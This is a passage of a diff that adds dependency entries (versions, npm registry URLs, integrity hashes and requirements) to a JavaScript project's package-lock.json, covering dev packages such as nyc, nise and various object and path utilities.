+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ }
+ },
+ "is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4"
+ }
+ }
+ }
+ },
+ "natural-compare": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
+ "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==",
+ "dev": true
+ },
+ "neo-async": {
+ "version": "2.6.2",
+ "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
+ "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==",
+ "dev": true,
+ "peer": true
+ },
+ "next-tick": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz",
+ "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==",
+ "dev": true
+ },
+ "nise": {
+ "version": "5.1.4",
+ "resolved": "https://registry.npmjs.org/nise/-/nise-5.1.4.tgz",
+ "integrity": "sha512-8+Ib8rRJ4L0o3kfmyVCL7gzrohyDe0cMFTBa2d364yIrEGMEoetznKJx899YxjybU6bL9SQkYPSBBs1gyYs8Xg==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/commons": "^2.0.0",
+ "@sinonjs/fake-timers": "^10.0.2",
+ "@sinonjs/text-encoding": "^0.7.1",
+ "just-extend": "^4.0.2",
+ "path-to-regexp": "^1.7.0"
+ },
+ "dependencies": {
+ "@sinonjs/commons": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-2.0.0.tgz",
+ "integrity": "sha512-uLa0j859mMrg2slwQYdO/AkrOfmH+X6LTVmNTS9CqexuE2IvVORIkSpJLqePAbEnKJ77aMmCwr1NUZ57120Xcg==",
+ "dev": true,
+ "requires": {
+ "type-detect": "4.0.8"
+ }
+ },
+ "@sinonjs/fake-timers": {
+ "version": "10.3.0",
+ "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz",
+ "integrity": "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/commons": "^3.0.0"
+ },
+ "dependencies": {
+ "@sinonjs/commons": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.0.tgz",
+ "integrity": "sha512-jXBtWAF4vmdNmZgD5FoKsVLv3rPgDnLgPbU84LIJ3otV44vJlDRokVng5v8NFJdCf/da9legHcKaRuZs4L7faA==",
+ "dev": true,
+ "requires": {
+ "type-detect": "4.0.8"
+ }
+ }
+ }
+ }
+ }
+ },
+ "no-case": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/no-case/-/no-case-2.3.2.tgz",
+ "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==",
+ "dev": true,
+ "requires": {
+ "lower-case": "^1.1.1"
+ }
+ },
+ "node-preload": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/node-preload/-/node-preload-0.2.1.tgz",
+ "integrity": "sha512-RM5oyBy45cLEoHqCeh+MNuFAxO0vTFBLskvQbOKnEE7YTTSN4tbN8QWDIPQ6L+WvKsB/qLEGpYe2ZZ9d4W9OIQ==",
+ "dev": true,
+ "requires": {
+ "process-on-spawn": "^1.0.0"
+ }
+ },
+ "node-releases": {
+ "version": "2.0.13",
+ "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz",
+ "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==",
+ "dev": true
+ },
+ "normalize-package-data": {
+ "version": "2.5.0",
+ "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
+ "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
+ "dev": true,
+ "requires": {
+ "hosted-git-info": "^2.1.4",
+ "resolve": "^1.10.0",
+ "semver": "2 || 3 || 4 || 5",
+ "validate-npm-package-license": "^3.0.1"
+ },
+ "dependencies": {
+ "semver": {
+ "version": "5.7.2",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz",
+ "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==",
+ "dev": true
+ }
+ }
+ },
+ "normalize-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+ "dev": true
+ },
+ "normalize-range": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
+ "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==",
+ "dev": true
+ },
+ "now-and-later": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/now-and-later/-/now-and-later-2.0.1.tgz",
+ "integrity": "sha512-KGvQ0cB70AQfg107Xvs/Fbu+dGmZoTRJp2TaPwcwQm3/7PteUyN2BCgk8KBMPGBUXZdVwyWS8fDCGFygBm19UQ==",
+ "dev": true,
+ "requires": {
+ "once": "^1.3.2"
+ }
+ },
+ "number-is-nan": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz",
+ "integrity": "sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==",
+ "dev": true
+ },
+ "nwsapi": {
+ "version": "2.2.7",
+ "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz",
+ "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==",
+ "dev": true
+ },
+ "nyc": {
+ "version": "15.1.0",
+ "resolved": "https://registry.npmjs.org/nyc/-/nyc-15.1.0.tgz",
+ "integrity": "sha512-jMW04n9SxKdKi1ZMGhvUTHBN0EICCRkHemEoE5jm6mTYcqcdas0ATzgUgejlQUHMvpnOZqGB5Xxsv9KxJW1j8A==",
+ "dev": true,
+ "requires": {
+ "@istanbuljs/load-nyc-config": "^1.0.0",
+ "@istanbuljs/schema": "^0.1.2",
+ "caching-transform": "^4.0.0",
+ "convert-source-map": "^1.7.0",
+ "decamelize": "^1.2.0",
+ "find-cache-dir": "^3.2.0",
+ "find-up": "^4.1.0",
+ "foreground-child": "^2.0.0",
+ "get-package-type": "^0.1.0",
+ "glob": "^7.1.6",
+ "istanbul-lib-coverage": "^3.0.0",
+ "istanbul-lib-hook": "^3.0.0",
+ "istanbul-lib-instrument": "^4.0.0",
+ "istanbul-lib-processinfo": "^2.0.2",
+ "istanbul-lib-report": "^3.0.0",
+ "istanbul-lib-source-maps": "^4.0.0",
+ "istanbul-reports": "^3.0.2",
+ "make-dir": "^3.0.0",
+ "node-preload": "^0.2.1",
+ "p-map": "^3.0.0",
+ "process-on-spawn": "^1.0.0",
+ "resolve-from": "^5.0.0",
+ "rimraf": "^3.0.0",
+ "signal-exit": "^3.0.2",
+ "spawn-wrap": "^2.0.0",
+ "test-exclude": "^6.0.0",
+ "yargs": "^15.0.2"
+ },
+ "dependencies": {
+ "cliui": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz",
+ "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==",
+ "dev": true,
+ "requires": {
+ "string-width": "^4.2.0",
+ "strip-ansi": "^6.0.0",
+ "wrap-ansi": "^6.2.0"
+ }
+ },
+ "find-cache-dir": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
+ "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
+ "dev": true,
+ "requires": {
+ "commondir": "^1.0.1",
+ "make-dir": "^3.0.2",
+ "pkg-dir": "^4.1.0"
+ }
+ },
+ "find-up": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+ "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+ "dev": true,
+ "requires": {
+ "locate-path": "^5.0.0",
+ "path-exists": "^4.0.0"
+ }
+ },
+ "locate-path": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+ "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+ "dev": true,
+ "requires": {
+ "p-locate": "^4.1.0"
+ }
+ },
+ "make-dir": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "requires": {
+ "semver": "^6.0.0"
+ }
+ },
+ "p-limit": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+ "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+ "dev": true,
+ "requires": {
+ "p-try": "^2.0.0"
+ }
+ },
+ "p-locate": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+ "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+ "dev": true,
+ "requires": {
+ "p-limit": "^2.2.0"
+ }
+ },
+ "p-map": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
+ "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
+ "dev": true,
+ "requires": {
+ "aggregate-error": "^3.0.0"
+ }
+ },
+ "pkg-dir": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
+ "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
+ "dev": true,
+ "requires": {
+ "find-up": "^4.0.0"
+ }
+ },
+ "require-main-filename": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
+ "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==",
+ "dev": true
+ },
+ "resolve-from": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+ "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
+ "dev": true
+ },
+ "which-module": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz",
+ "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==",
+ "dev": true
+ },
+ "wrap-ansi": {
+ "version": "6.2.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
+ "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ }
+ },
+ "y18n": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
+ "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
+ "dev": true
+ },
+ "yargs": {
+ "version": "15.4.1",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz",
+ "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==",
+ "dev": true,
+ "requires": {
+ "cliui": "^6.0.0",
+ "decamelize": "^1.2.0",
+ "find-up": "^4.1.0",
+ "get-caller-file": "^2.0.1",
+ "require-directory": "^2.1.1",
+ "require-main-filename": "^2.0.0",
+ "set-blocking": "^2.0.0",
+ "string-width": "^4.2.0",
+ "which-module": "^2.0.0",
+ "y18n": "^4.0.0",
+ "yargs-parser": "^18.1.2"
+ }
+ },
+ "yargs-parser": {
+ "version": "18.1.3",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz",
+ "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==",
+ "dev": true,
+ "requires": {
+ "camelcase": "^5.0.0",
+ "decamelize": "^1.2.0"
+ }
+ }
+ }
+ },
+ "object-assign": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
+ "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
+ "dev": true
+ },
+ "object-copy": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz",
+ "integrity": "sha512-79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==",
+ "dev": true,
+ "requires": {
+ "copy-descriptor": "^0.1.0",
+ "define-property": "^0.2.5",
+ "kind-of": "^3.0.3"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "requires": {
+ "is-buffer": "^1.1.5"
+ }
+ }
+ }
+ },
+ "object-hash": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
+ "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
+ "dev": true
+ },
+ "object-keys": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
+ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
+ "dev": true
+ },
+ "object-visit": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz",
+ "integrity": "sha512-GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==",
+ "dev": true,
+ "requires": {
+ "isobject": "^3.0.0"
+ }
+ },
+ "object.assign": {
+ "version": "4.1.4",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz",
+ "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.4",
+ "has-symbols": "^1.0.3",
+ "object-keys": "^1.1.1"
+ }
+ },
+ "object.defaults": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/object.defaults/-/object.defaults-1.1.0.tgz",
+ "integrity": "sha512-c/K0mw/F11k4dEUBMW8naXUuBuhxRCfG7W+yFy8EcijU/rSmazOUd1XAEEe6bC0OuXY4HUKjTJv7xbxIMqdxrA==",
+ "dev": true,
+ "requires": {
+ "array-each": "^1.0.1",
+ "array-slice": "^1.0.0",
+ "for-own": "^1.0.0",
+ "isobject": "^3.0.0"
+ }
+ },
+ "object.map": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/object.map/-/object.map-1.0.1.tgz",
+ "integrity": "sha512-3+mAJu2PLfnSVGHwIWubpOFLscJANBKuB/6A4CxBstc4aqwQY0FWcsppuy4jU5GSB95yES5JHSI+33AWuS4k6w==",
+ "dev": true,
+ "requires": {
+ "for-own": "^1.0.0",
+ "make-iterator": "^1.0.0"
+ }
+ },
+ "object.pick": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz",
+ "integrity": "sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==",
+ "dev": true,
+ "requires": {
+ "isobject": "^3.0.1"
+ }
+ },
+ "object.reduce": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/object.reduce/-/object.reduce-1.0.1.tgz",
+ "integrity": "sha512-naLhxxpUESbNkRqc35oQ2scZSJueHGQNUfMW/0U37IgN6tE2dgDWg3whf+NEliy3F/QysrO48XKUz/nGPe+AQw==",
+ "dev": true,
+ "requires": {
+ "for-own": "^1.0.0",
+ "make-iterator": "^1.0.0"
+ }
+ },
+ "once": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+ "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+ "dev": true,
+ "requires": {
+ "wrappy": "1"
+ }
+ },
+ "optionator": {
+ "version": "0.9.3",
+ "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz",
+ "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==",
+ "dev": true,
+ "requires": {
+ "@aashutoshrathi/word-wrap": "^1.2.3",
+ "deep-is": "^0.1.3",
+ "fast-levenshtein": "^2.0.6",
+ "levn": "^0.4.1",
+ "prelude-ls": "^1.2.1",
+ "type-check": "^0.4.0"
+ }
+ },
+ "ordered-read-streams": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/ordered-read-streams/-/ordered-read-streams-1.0.1.tgz",
+ "integrity": "sha512-Z87aSjx3r5c0ZB7bcJqIgIRX5bxR7A4aSzvIbaxd0oTkWBCOoKfuGHiKj60CHVUgg1Phm5yMZzBdt8XqRs73Mw==",
+ "dev": true,
+ "requires": {
+ "readable-stream": "^2.0.1"
+ }
+ },
+ "os-locale": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz",
+ "integrity": "sha512-PRT7ZORmwu2MEFt4/fv3Q+mEfN4zetKxufQrkShY2oGvUms9r8otu5HfdyIFHkYXjO7laNsoVGmM2MANfuTA8g==",
+ "dev": true,
+ "requires": {
+ "lcid": "^1.0.0"
+ }
+ },
+ "p-limit": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
+ "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
+ "dev": true,
+ "requires": {
+ "yocto-queue": "^0.1.0"
+ }
+ },
+ "p-locate": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
+ "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
+ "dev": true,
+ "requires": {
+ "p-limit": "^3.0.2"
+ }
+ },
+ "p-map": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz",
+ "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==",
+ "dev": true,
+ "requires": {
+ "aggregate-error": "^3.0.0"
+ }
+ },
+ "p-try": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
+ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
+ "dev": true
+ },
+ "package-hash": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/package-hash/-/package-hash-4.0.0.tgz",
+ "integrity": "sha512-whdkPIooSu/bASggZ96BWVvZTRMOFxnyUG5PnTSGKoJE2gd5mbVNmR2Nj20QFzxYYgAXpoqC+AiXzl+UMRh7zQ==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "^4.1.15",
+ "hasha": "^5.0.0",
+ "lodash.flattendeep": "^4.4.0",
+ "release-zalgo": "^1.0.0"
+ }
+ },
+ "param-case": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/param-case/-/param-case-2.1.1.tgz",
+ "integrity": "sha512-eQE845L6ot89sk2N8liD8HAuH4ca6Vvr7VWAWwt7+kvvG5aBcPmmphQ68JsEG2qa9n1TykS2DLeMt363AAH8/w==",
+ "dev": true,
+ "requires": {
+ "no-case": "^2.2.0"
+ }
+ },
+ "parent-module": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
+ "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
+ "dev": true,
+ "requires": {
+ "callsites": "^3.0.0"
+ }
+ },
+ "parse-filepath": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/parse-filepath/-/parse-filepath-1.0.2.tgz",
+ "integrity": "sha512-FwdRXKCohSVeXqwtYonZTXtbGJKrn+HNyWDYVcp5yuJlesTwNH4rsmRZ+GrKAPJ5bLpRxESMeS+Rl0VCHRvB2Q==",
+ "dev": true,
+ "requires": {
+ "is-absolute": "^1.0.0",
+ "map-cache": "^0.2.0",
+ "path-root": "^0.1.1"
+ }
+ },
+ "parse-json": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz",
+ "integrity": "sha512-QR/GGaKCkhwk1ePQNYDRKYZ3mwU9ypsKhB0XyFnLQdomyEqk3e8wpW3V5Jp88zbxK4n5ST1nqo+g9juTpownhQ==",
+ "dev": true,
+ "requires": {
+ "error-ex": "^1.2.0"
+ }
+ },
+ "parse-node-version": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/parse-node-version/-/parse-node-version-1.0.1.tgz",
+ "integrity": "sha512-3YHlOa/JgH6Mnpr05jP9eDG254US9ek25LyIxZlDItp2iJtwyaXQb57lBYLdT3MowkUFYEV2XXNAYIPlESvJlA==",
+ "dev": true
+ },
+ "parse-passwd": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz",
+ "integrity": "sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==",
+ "dev": true
+ },
+ "parse5": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz",
+ "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==",
+ "dev": true
+ },
+ "pascalcase": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz",
+ "integrity": "sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw==",
+ "dev": true
+ },
+ "path-dirname": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz",
+ "integrity": "sha512-ALzNPpyNq9AqXMBjeymIjFDAkAFH06mHJH/cSBHAgU0s4vfpBn6b2nf8tiRLvagKD8RbTpq2FKTBg7cl9l3c7Q==",
+ "dev": true
+ },
+ "path-exists": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
+ "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
+ "dev": true
+ },
+ "path-is-absolute": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+ "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
+ "dev": true
+ },
+ "path-key": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+ "dev": true
+ },
+ "path-parse": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
